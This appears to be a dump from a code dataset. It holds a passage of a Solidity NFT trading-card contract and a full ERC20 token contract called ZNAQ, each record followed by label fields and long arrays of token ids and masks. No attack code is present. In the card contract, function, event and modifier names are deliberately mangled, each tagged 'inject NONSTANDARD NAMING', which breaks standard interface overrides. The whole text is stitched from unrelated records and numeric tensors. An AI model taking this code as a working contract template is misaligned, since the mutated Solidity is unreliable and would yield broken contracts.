// cards must be from the same season
require(
season != 0,
"Core: must have season set"
);
require(
season == protoToSeason[minProto],
"Core: can only create cards from the same season"
);
require(
factoryApproved[msg.sender][season],
"Core: must be approved factory for this season"
);
}
}
function _CHECKCANCREATEMYTHIC255(uint16 proto) internal { //inject NONSTANDARD NAMING
require(
mythicApproved[proto][msg.sender],
"Core: not approved to create this mythic"
);
require(
!mythicCreated[proto],
"Core: mythic has already been created"
);
mythicCreated[proto] = true;
}
function SETQUALITY366( //inject NONSTANDARD NAMING
uint256 _tokenId,
uint8 _quality
)
public
{
uint16 proto = cardProtos[_tokenId];
// wont' be able to change mythic season
uint256 season = protoToSeason[proto];
require(
factoryApproved[msg.sender][season],
"Core: factory can't change quality of this season"
);
cardQualities[_tokenId] = _quality;
emit QUALITYCHANGED816(_tokenId, _quality, msg.sender);
}
function SETPROPERTYMANAGER70(address _manager) public ONLYOWNER453 { //inject NONSTANDARD NAMING
propertyManager = _manager;
}
function SETPROPERTY942(uint256 _id, bytes32 _key, bytes32 _value) public { //inject NONSTANDARD NAMING
require(
msg.sender == propertyManager,
"Core: must be property manager"
);
_SETPROPERTY292(_id, _key, _value);
}
function SETCLASSPROPERTY520(bytes32 _key, bytes32 _value) public { //inject NONSTANDARD NAMING
require(
msg.sender == propertyManager,
"Core: must be property manager"
);
_SETCLASSPROPERTY718(_key, _value);
}
string public baseURI = "https://api.immutable.com/asset/";
function SETBASEURI249(string memory uri) public ONLYOWNER453 { //inject NONSTANDARD NAMING
baseURI = uri;
}
function TOKENURI642(uint256 tokenId) external view returns (string memory) { //inject NONSTANDARD NAMING
return string(abi.encodePacked(
baseURI,
String.FROMADDRESS777(address(this)),
"/",
String.FROMUINT947(tokenId)
));
}
}
// solium-disable security/no-inline-assembly
contract Cards is Ownable, MultiTransfer, BatchToken, ImmutableToken, InscribableToken {
uint16 private constant max_uint16315 = 2**16 - 1; //inject NONSTANDARD NAMING
uint16[] public cardProtos;
uint8[] public cardQualities;
struct Season {
uint16 high;
uint16 low;
}
struct Proto {
bool locked;
bool exists;
uint8 god;
uint8 cardType;
uint8 rarity;
uint8 mana;
uint8 attack;
uint8 health;
uint8 tribe;
}
event PROTOUPDATED864( //inject NONSTANDARD NAMING
uint16 indexed id
);
event SEASONSTARTED899( //inject NONSTANDARD NAMING
uint16 indexed id,
string name,
uint16 indexed low,
uint16 indexed high
);
event QUALITYCHANGED816( //inject NONSTANDARD NAMING
uint256 indexed tokenId,
uint8 quality,
address factory
);
event CARDSMINTED263( //inject NONSTANDARD NAMING
uint256 indexed start,
address to,
uint16[] protos,
uint8[] qualities
);
// Value of index proto = season
uint16[] public protoToSeason;
address public propertyManager;
// Array containing all protos
Proto[] public protos;
// Array containing all seasons
Season[] public seasons;
// Map whether a season is tradeable or not
mapping(uint256 => bool) public seasonTradable;
// Map whether a factory has been authorised or not
mapping(address => mapping(uint256 => bool)) public factoryApproved;
// Whether a factory is approved to create a particular mythic
mapping(uint16 => mapping(address => bool)) public mythicApproved;
// Whether a mythic is tradable
mapping(uint16 => bool) public mythicTradable;
// Map whether a mythic exists or not
mapping(uint16 => bool) public mythicCreated;
uint16 public constant mythic_threshold683 = 65000; //inject NONSTANDARD NAMING
constructor(
uint256 _batchSize,
string memory _name,
string memory _symbol
)
public
BatchToken(_batchSize, _name, _symbol)
{
cardProtos.length = max_length549;
cardQualities.length = max_length549;
protoToSeason.length = max_length549;
protos.length = max_length549;
propertyManager = msg.sender;
}
function GETDETAILS612( //inject NONSTANDARD NAMING
uint256 tokenId
)
public
view
returns (uint16 proto, uint8 quality)
{
return (cardProtos[tokenId], cardQualities[tokenId]);
}
function MINTCARD737( //inject NONSTANDARD NAMING
address to,
uint16 _proto,
uint8 _quality
)
external
returns (uint id)
{
id = _BATCHMINT199(to, 1);
_VALIDATEPROTO247(_proto);
cardProtos[id] = _proto;
cardQualities[id] = _quality;
uint16[] memory ps = new uint16[](1);
ps[0] = _proto;
uint8[] memory qs = new uint8[](1);
qs[0] = _quality;
emit CARDSMINTED263(id, to, ps, qs);
return id;
}
function MINTCARDS596( //inject NONSTANDARD NAMING
address to,
uint16[] calldata _protos,
uint8[] calldata _qualities
)
external
returns (uint)
{
require(
_protos.length > 0,
"Core: must be some protos"
);
require(
_protos.length == _qualities.length,
"Core: must be the same number of protos/qualities"
);
uint256 start = _BATCHMINT199(to, uint16(_protos.length));
_VALIDATEANDSAVEDETAILS366(start, _protos, _qualities);
emit CARDSMINTED263(start, to, _protos, _qualities);
return start;
}
function ADDFACTORY224( //inject NONSTANDARD NAMING
address _factory,
uint256 _season
)
public
ONLYOWNER453
{
require(
seasons.length >= _season,
"Core: season must exist"
);
require(
_season > 0,
"Core: season must not be 0"
);
require(
!factoryApproved[_factory][_season],
"Core: this factory is already approved"
);
require(
!seasonTradable[_season],
"Core: season must not be tradable"
);
factoryApproved[_factory][_season] = true;
}
function APPROVEFORMYTHIC801( //inject NONSTANDARD NAMING
address _factory,
uint16 _mythic
)
public
ONLYOWNER453
{
require(
_mythic >= mythic_threshold683,
"not a mythic"
);
require(
!mythicApproved[_mythic][_factory],
"Core: this factory is already approved for this mythic"
);
mythicApproved[_mythic][_factory] = true;
}
function MAKEMYTHICTRADABLE762( //inject NONSTANDARD NAMING
uint16 _mythic
)
public
ONLYOWNER453
{
require(
_mythic >= mythic_threshold683,
"Core: not a mythic"
);
require(
!mythicTradable[_mythic],
"Core: must not be tradable already"
);
mythicTradable[_mythic] = true;
}
function UNLOCKTRADING32( //inject NONSTANDARD NAMING
uint256 _season
)
public
ONLYOWNER453
{
require(
_season > 0 && _season <= seasons.length,
"Core: must be a current season"
);
require(
!seasonTradable[_season],
"Core: season must not be tradable"
);
seasonTradable[_season] = true;
}
function TRANSFERFROM301( //inject NONSTANDARD NAMING
address from,
address to,
uint256 tokenId
)
public
{
require(
ISTRADABLE528(tokenId),
"Core: not yet tradable"
);
super.TRANSFERFROM301(from, to, tokenId);
}
function BURN6(uint256 _tokenId) public { //inject NONSTANDARD NAMING
require(
ISTRADABLE528(_tokenId),
"Core: not yet tradable"
);
super._BURN121(_tokenId);
}
function BURNALL763(uint256[] memory tokenIDs) public { //inject NONSTANDARD NAMING
for (uint256 i = 0; i < tokenIDs.length; i++) {
BURN6(tokenIDs[i]);
}
}
function ISTRADABLE528(uint256 _tokenId) public view returns (bool) { //inject NONSTANDARD NAMING
uint16 proto = cardProtos[_tokenId];
if (proto >= mythic_threshold683) {
return mythicTradable[proto];
}
return seasonTradable[protoToSeason[proto]];
}
function STARTSEASON259( //inject NONSTANDARD NAMING
string memory name,
uint16 low,
uint16 high
)
public
ONLYOWNER453
returns (uint)
{
require(
low > 0,
"Core: must not be zero proto"
);
require(
high > low,
"Core: must be a valid range"
);
require(
seasons.length == 0 || low > seasons[seasons.length - 1].high,
"Core: seasons cannot overlap"
);
require(
mythic_threshold683 > high,
"Core: cannot go into mythic territory"
);
// seasons start at 1
uint16 id = uint16(seasons.push(Season({ high: high, low: low })));
uint256 cp;
assembly { cp := protoToSeason_slot }
StorageWrite.REPEATUINT16794(cp, low, (high - low) + 1, id);
emit SEASONSTARTED899(id, name, low, high);
return id;
}
function UPDATEPROTOS359( //inject NONSTANDARD NAMING
uint16[] memory _ids,
uint8[] memory _gods,
uint8[] memory _cardTypes,
uint8[] memory _rarities,
uint8[] memory _manas,
uint8[] memory _attacks,
uint8[] memory _healths,
uint8[] memory _tribes
) public ONLYOWNER453 {
for (uint256 i = 0; i < _ids.length; i++) {
uint16 id = _ids[i];
require(
id > 0,
"Core: proto must not be zero"
);
Proto memory proto = protos[id];
require(
!proto.locked,
"Core: proto is locked"
);
protos[id] = Proto({
locked: false,
exists: true,
god: _gods[i],
cardType: _cardTypes[i],
rarity: _rarities[i],
mana: _manas[i],
attack: _attacks[i],
health: _healths[i],
tribe: _tribes[i]
});
emit PROTOUPDATED864(id);
}
}
function LOCKPROTOS122(uint16[] memory _ids) public ONLYOWNER453 { //inject NONSTANDARD NAMING
require(
_ids.length > 0,
"must lock some"
);
for (uint256 i = 0; i < _ids.length; i++) {
uint16 id = _ids[i];
require(
id > 0,
"proto must not be zero"
);
Proto storage proto = protos[id];
require(
!proto.locked,
"proto is locked"
);
require(
proto.exists,
"proto must exist"
);
proto.locked = true;
emit PROTOUPDATED864(id);
}
}
function _VALIDATEANDSAVEDETAILS366( //inject NONSTANDARD NAMING
uint256 start,
uint16[] memory _protos,
uint8[] memory _qualities
)
internal
{
_VALIDATEPROTOS731(_protos);
uint256 cp;
assembly { cp := cardProtos_slot }
StorageWrite.UINT16S436(cp, start, _protos);
uint256 cq;
assembly { cq := cardQualities_slot }
StorageWrite.UINT8S318(cq, start, _qualities);
}
function _VALIDATEPROTO247(uint16 proto) internal { //inject NONSTANDARD NAMING
if (proto >= mythic_threshold683) {
_CHECKCANCREATEMYTHIC255(proto);
} else {
uint256 season = protoToSeason[proto];
require(
season != 0,
"Core: must have season set"
);
require(
factoryApproved[msg.sender][season],
"Core: must be approved factory for this season"
);
}
}
function _VALIDATEPROTOS731(uint16[] memory _protos) internal { //inject NONSTANDARD NAMING
uint16 maxProto = 0;
uint16 minProto = max_uint16315;
for (uint256 i = 0; i < _protos.length; i++) {
uint16 proto = _protos[i];
if (proto >= mythic_threshold683) {
_CHECKCANCREATEMYTHIC255(proto);
} else {
if (proto > maxProto) {
maxProto = proto;
}
if (minProto > proto) {
minProto = proto;
}
}
}
if (maxProto != 0) {
uint256 season = protoToSeason[maxProto];
// cards must be from the same season
require(
season != 0,
"Core: must have season set"
);
require(
season == protoToSeason[minProto],
"Core: can only create cards from the same season"
);
require(
factoryApproved[msg.sender][season],
"Core: must be approved factory for this season"
);
}
}
function _CHECKCANCREATEMYTHIC255(uint16 proto) internal { //inject NONSTANDARD NAMING
require(
mythicApproved[proto][msg.sender],
"Core: not approved to create this mythic"
);
require(
!mythicCreated[proto],
"Core: mythic has already been created"
);
mythicCreated[proto] = true;
}
function SETQUALITY366( //inject NONSTANDARD NAMING
uint256 _tokenId,
uint8 _quality
)
public
{
uint16 proto = cardProtos[_tokenId];
// wont' be able to change mythic season
uint256 season = protoToSeason[proto];
require(
factoryApproved[msg.sender][season],
"Core: factory can't change quality of this season"
);
cardQualities[_tokenId] = _quality;
emit QUALITYCHANGED816(_tokenId, _quality, msg.sender);
}
function SETPROPERTYMANAGER70(address _manager) public ONLYOWNER453 { //inject NONSTANDARD NAMING
propertyManager = _manager;
}
function SETPROPERTY942(uint256 _id, bytes32 _key, bytes32 _value) public { //inject NONSTANDARD NAMING
require(
msg.sender == propertyManager,
"Core: must be property manager"
);
_SETPROPERTY292(_id, _key, _value);
}
function SETCLASSPROPERTY520(bytes32 _key, bytes32 _value) public { //inject NONSTANDARD NAMING
require(
msg.sender == propertyManager,
"Core: must be property manager"
);
_SETCLASSPROPERTY718(_key, _value);
}
}
contract BatchWrapper is NewCards {
uint16 private constant max_uint16315 = 2**16 - 1; //inject NONSTANDARD NAMING
Cards public old;
bool public migrating;
constructor(
Cards _old,
uint256 _batchSize,
string memory _name,
string memory _symbol
) public NewCards(_batchSize, _name, _symbol) {
old = _old;
}
function SETMIGRATING202(bool _migrating) public ONLYOWNER453 { //inject NONSTANDARD NAMING
migrating = _migrating;
}
function COPYUNTIL891(uint gasThreshold) public { //inject NONSTANDARD NAMING
while (gasleft() > gasThreshold) {
COPYNEXTBATCH144();
}
}
function MINTCARDS596(address _to, uint16[] memory _protos, uint8[] memory _qualities) public returns (uint id) { //inject NONSTANDARD NAMING
require(!migrating, "must not be migrating");
super.MINTCARDS596(_to, _protos, _qualities);
}
function MINTCARD737(address _to, uint16 _proto, uint8 _quality) public returns (uint id) { //inject NONSTANDARD NAMING
require(!migrating, "must not be migrating");
super.MINTCARD737(_to, _proto, _quality);
}
// copy all batches from the old contracts
// leave ids intact
function COPYNEXTBATCH144() public { //inject NONSTANDARD NAMING
require(migrating, "must be migrating");
uint256 start = nextBatch;
(uint48 userID, uint16 size) = old.batches(start);
require(size > 0 && userID > 0, "incorrect batch or limit reached");
if (old.cardProtos(start) != 0) {
address to = old.userIDToAddress(userID);
uint48 uID = _GETUSERID7(to);
batches[start] = Batch({
userID: uID,
size: size
});
uint256 end = start.ADD640(size);
for (uint256 i = start; i < end; i++) {
emit TRANSFER336(address(0), to, i);
}
_balances[to] = _balances[to].ADD640(size);
tokenCount = tokenCount.ADD640(size);
}
nextBatch = nextBatch.ADD640(batchSize);
}
function ISOLD374(uint _tokenId) public view returns (bool) { //inject NONSTANDARD NAMING
require(_EXISTS289(_tokenId), "card does not exist");
return cardProtos[_tokenId] == 0;
}
function GETPROTO912(uint _tokenId) public view returns (uint16) { //inject NONSTANDARD NAMING
return ISOLD374(_tokenId) ? old.cardProtos(_tokenId) : cardProtos[_tokenId];
}
function GETQUALITY41(uint _tokenId) public view returns (uint8) { //inject NONSTANDARD NAMING
return ISOLD374(_tokenId) ? old.cardQualities(_tokenId) : cardQualities[_tokenId];
}
function GETDETAILS612(uint256 tokenId) public view returns (uint16 proto, uint8 quality) { //inject NONSTANDARD NAMING
return ISOLD374(tokenId) ? old.GETDETAILS612(tokenId) : (cardProtos[tokenId], cardQualities[tokenId]);
}
function ISTRADABLE528(uint256 _tokenId) public view returns (bool) { //inject NONSTANDARD NAMING
uint16 proto = GETPROTO912(_tokenId);
if (proto >= mythic_threshold683) {
return mythicTradable[proto];
}
return seasonTradable[protoToSeason[proto]];
}
function _TRANSFERFROM539(address from, address to, uint tokenId) internal { //inject NONSTANDARD NAMING
require(
ISTRADABLE528(tokenId),
"BW: not yet tradable"
);
super._TRANSFERFROM539(from, to, tokenId);
}
// update validate protos to check if a proto is 0
// prevent untradable cards
function _VALIDATEPROTOS731(uint16[] memory _protos) internal { //inject NONSTANDARD NAMING
uint16 maxProto = 0;
uint16 minProto = max_uint16315;
for (uint256 i = 0; i < _protos.length; i++) {
uint16 proto = _protos[i];
if (proto >= mythic_threshold683) {
_CHECKCANCREATEMYTHIC255(proto);
} else {
require(proto != 0, "proto is zero");
if (proto > maxProto) {
maxProto = proto;
}
if (minProto > proto) {
minProto = proto;
}
}
}
if (maxProto != 0) {
uint256 season = protoToSeason[maxProto];
// cards must be from the same season
require(
season != 0,
"Core: must have season set"
);
require(
season == protoToSeason[minProto],
"Core: can only create cards from the same season"
);
require(
factoryApproved[msg.sender][season],
"Core: must be approved factory for this season"
);
}
}
} | inject NONSTANDARD NAMING
| function SETPROPERTYMANAGER70(address _manager) public ONLYOWNER453 { | 2,483,606 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
7855,
9900,
19402,
7301,
12,
2867,
389,
4181,
13,
1071,
20747,
29602,
7950,
23,
288,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
modifier onlyPayloadSize(uint256 numwords) {
assert(msg.data.length >= numwords * 32 + 4);
_;
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) onlyPayloadSize(2) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) onlyPayloadSize(2) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) onlyPayloadSize(2) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) onlyPayloadSize(2) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is PausableToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is MintableToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(_who, _value);
Transfer(_who, address(0), _value);
}
}
/**
* @title Standard Burnable Token
* @dev Adds burnFrom method to ERC20 implementations
*/
contract StandardBurnableToken is BurnableToken {
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract ZNAQ is StandardBurnableToken {
string public constant name = "ZNAQ";
string public constant symbol = "ZNAQ";
uint8 public constant decimals = 18;
address public wallet = 0xE3bf6F453e85B57cdDfF2030BAcf119841d132D5;
function changeWallet(address _newWallet) public onlyOwner {
require(_newWallet != address(0));
wallet = _newWallet;
}
function sendEth() public onlyOwner {
wallet.transfer(address(this).balance);
}
function () payable public {}
} | * @dev Transfer tokens from one address to another @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint256 the amount of tokens to be transferred/ | function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
| 10,238,584 | [
1,
5912,
2430,
628,
1245,
1758,
358,
4042,
225,
389,
2080,
1758,
1021,
1758,
1492,
1846,
2545,
358,
1366,
2430,
628,
225,
389,
869,
1758,
1021,
1758,
1492,
1846,
2545,
358,
7412,
358,
225,
389,
1132,
2254,
5034,
326,
3844,
434,
2430,
358,
506,
906,
4193,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
